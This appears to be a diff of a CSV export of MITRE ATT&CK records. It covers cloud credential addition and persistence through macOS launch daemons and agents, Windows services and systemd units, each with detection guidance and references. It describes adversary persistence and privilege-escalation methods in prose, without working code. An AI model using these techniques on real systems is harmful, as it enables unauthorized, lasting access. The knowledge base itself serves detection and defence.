of Death', 'description': 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.', 'url': 'https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1'}, {'source_name': 'Blue Cloud of Death Video', 'description': 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.', 'url': 'https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815'}, {'source_name': 'Demystifying Azure AD Service Principals', 'description': 'Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.', 'url': 'https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/'}, {'source_name': 'GCP SSH Key Add', 'description': 'Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.', 'url': 'https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add'}, {'source_name': 'Expel IO Evil in AWS', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', 'url': 'https://expel.io/blog/finding-evil-in-aws/'}, {'source_name': 'Expel Behind the Scenes', 'description': 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.', 'url': 'https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/'}]",2.2,attack-pattern,attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-19T16:10:15.008Z,2021-03-08T10:33:01.582Z,Additional Cloud Credentials,"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. Adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals) -In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)",attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd,attack-pattern,['persistence'],2021-03-08T10:33:01.582Z,2020-01-19T16:10:15.008Z,"Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. +In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)",['persistence'],https://attack.mitre.org/techniques/T1098/001,mitre-attack,T1098.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Expel', 'Oleg Kolesnikov, Securonix', 'Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)']","['User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,"Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. + +Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.",True,"['Administrator', 'User']","['IaaS', 'Azure AD']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543/004', 'external_id': 'T1543.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html', 'external_id': 'CAPEC-550'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html', 'external_id': 'CAPEC-551'}, {'source_name': 'AppleDocs Launch Agent Daemons', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'launchd Keywords for plists', 'description': 'Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.', 'url': 'https://www.real-world-systems.com/docs/launchdPlist.1.html'}, {'source_name': 'WireLurker', 'description': 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.', 'url': 'https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf'}, {'source_name': 'OSX Malware Detection', 'description': ""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", 'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'}, {'source_name': 'LaunchDaemon Hijacking', 'description': 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.', 'url': 'https://bradleyjkemp.dev/post/launchdaemon-hijacking/'}, {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'}]",1.2,attack-pattern,attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-17T19:23:15.227Z,2021-10-07T22:10:55.653Z,Launch Daemon,"Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists) + +Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection) -Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.","['User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']","['Expel', 'Oleg Kolesnikov, Securonix', 'Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)']",,"['Administrator', 'User']","['IaaS', 'Azure AD']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1543.004', 'url': 'https://attack.mitre.org/techniques/T1543/004'}, {'external_id': 'CAPEC-550', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html'}, {'external_id': 'CAPEC-551', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html'}, {'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'source_name': 'AppleDocs Launch Agent Daemons'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'source_name': 'Methods of Mac Malware Persistence'}, {'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf', 'description': ""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", 'source_name': 'OSX Malware Detection'}, {'url': 'https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf', 'description': 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.', 'source_name': 'WireLurker'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.1,True,https://attack.mitre.org/techniques/T1543/004,mitre-attack,T1543.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Launch Daemon,"Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). +Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1543/004,mitre-attack,T1543.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,"Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP. -Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. +Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists) -The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. ",attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba,attack-pattern,"['persistence', 'privilege-escalation']",2020-09-16T15:46:44.130Z,2020-01-17T19:23:15.227Z,Monitor for launch daemon creation or modification through plist files and utilities such as Objective-See's KnockKnock application. ,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,,['Administrator'],['macOS'],,CAPEC-551,https://capec.mitre.org/data/definitions/551.html,,,['root'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1543.003', 'url': 'https://attack.mitre.org/techniques/T1543/003'}, {'external_id': 'CAPEC-478', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/478.html'}, {'external_id': 'CAPEC-550', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html'}, {'external_id': 'CAPEC-551', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html'}, {'url': 'https://technet.microsoft.com/en-us/library/cc772408.aspx', 'description': 'Microsoft. (n.d.). Services. Retrieved June 7, 2016.', 'source_name': 'TechNet Services'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}, {'url': 'https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697', 'description': 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.', 'source_name': 'Microsoft 4697 APR 2017'}, {'url': 'https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection', 'description': 'Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.', 'source_name': 'Microsoft Windows Event Forwarding FEB 2018'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.1,True,https://attack.mitre.org/techniques/T1543/003,mitre-attack,T1543.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Windows Service,"Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). +",True,['Administrator'],['macOS'],,CAPEC-551,https://capec.mitre.org/data/definitions/551.html,,,"['root', 'Administrator']",,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543/003', 'external_id': 'T1543.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/478.html', 'external_id': 'CAPEC-478'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html', 'external_id': 'CAPEC-550'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html', 'external_id': 'CAPEC-551'}, {'source_name': 'TechNet Services', 'description': 'Microsoft. (n.d.). Services. Retrieved June 7, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc772408.aspx'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}, {'source_name': 'Microsoft 4697 APR 2017', 'description': 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.', 'url': 'https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697'}, {'source_name': 'Microsoft Windows Event Forwarding FEB 2018', 'description': 'Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.', 'url': 'https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection'}]",1.1,attack-pattern,attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-17T19:13:50.402Z,2020-09-16T15:49:58.490Z,Windows Service,"Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). Adversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system. An adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. -Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ",attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32,attack-pattern,"['persistence', 'privilege-escalation']",2020-09-16T15:49:58.490Z,2020-01-17T19:13:50.402Z,"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. +Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1543/003,mitre-attack,T1543.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward', 'Travis Smith, Tripwire', 'Pedro Harrison']","['Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification']",,"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. -Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","['Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification']","['Matthew Demaske, Adaptforward', 'Travis Smith, Tripwire', 'Pedro Harrison']",,,['Windows'],,CAPEC-551,https://capec.mitre.org/data/definitions/551.html,,,"['Administrator', 'SYSTEM']",,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1543.002', 'url': 'https://attack.mitre.org/techniques/T1543/002'}, {'external_id': 'CAPEC-550', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html'}, {'external_id': 'CAPEC-551', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html'}, {'source_name': 'Linux man-pages: systemd January 2014', 'url': 'http://man7.org/linux/man-pages/man1/systemd.1.html', 'description': 'Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.'}, {'source_name': 'Freedesktop.org Linux systemd 29SEP2018', 'url': 'https://www.freedesktop.org/wiki/Software/systemd/', 'description': 'Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.'}, {'source_name': 'Anomali Rocke March 2019', 'url': 'https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang', 'description': 'Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.'}, {'source_name': 'Rapid7 Service Persistence 22JUNE2016', 'url': 'https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence', 'description': 'Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.2,True,https://attack.mitre.org/techniques/T1543/002,mitre-attack,T1543.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Systemd Service,"Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems. +Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,,['Windows'],,CAPEC-551,https://capec.mitre.org/data/definitions/551.html,,,"['Administrator', 'SYSTEM']",,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543/002', 'external_id': 'T1543.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html', 'external_id': 'CAPEC-550'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html', 'external_id': 'CAPEC-551'}, {'source_name': 'Linux man-pages: systemd January 2014', 'description': 'Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.', 'url': 'http://man7.org/linux/man-pages/man1/systemd.1.html'}, {'source_name': 'Freedesktop.org Linux systemd 29SEP2018', 'description': 'Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.', 'url': 'https://www.freedesktop.org/wiki/Software/systemd/'}, {'source_name': 'Anomali Rocke March 2019', 'description': 'Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.', 'url': 'https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang'}, {'source_name': 'Rapid7 Service Persistence 22JUNE2016', 'description': 'Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.', 'url': 'https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence'}]",1.2,attack-pattern,attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-17T16:15:19.870Z,2020-10-09T13:46:29.701Z,Systemd Service,"Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems. Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands: @@ -2330,38 +2553,42 @@ Systemd utilizes configuration files known as service units to control how servi Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019) -While adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b,attack-pattern,"['persistence', 'privilege-escalation']",2020-10-09T13:46:29.701Z,2020-01-17T16:15:19.870Z,"Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. +While adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1543/002,mitre-attack,T1543.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tony Lambert, Red Canary']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,"Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -–type=service –all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables. -Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']","['Tony Lambert, Red Canary']",,"['User', 'root']",['Linux'],,CAPEC-551,https://capec.mitre.org/data/definitions/551.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1543.001', 'url': 'https://attack.mitre.org/techniques/T1543/001'}, {'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'source_name': 'AppleDocs Launch Agent Daemons'}, {'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'source_name': 'OSX Keydnap malware'}, {'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'source_name': 'Antiquated Mac Malware'}, {'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'source_name': 'OSX.Dok Malware'}, {'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'source_name': 'Sofacy Komplex Trojan'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'source_name': 'Methods of Mac Malware Persistence'}, {'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf', 'description': ""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", 'source_name': 'OSX Malware Detection'}, {'url': 'https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update', 'description': 'Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', 'source_name': 'OceanLotus for OS X'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1543/001,mitre-attack,T1543.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Launch Agent,"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents 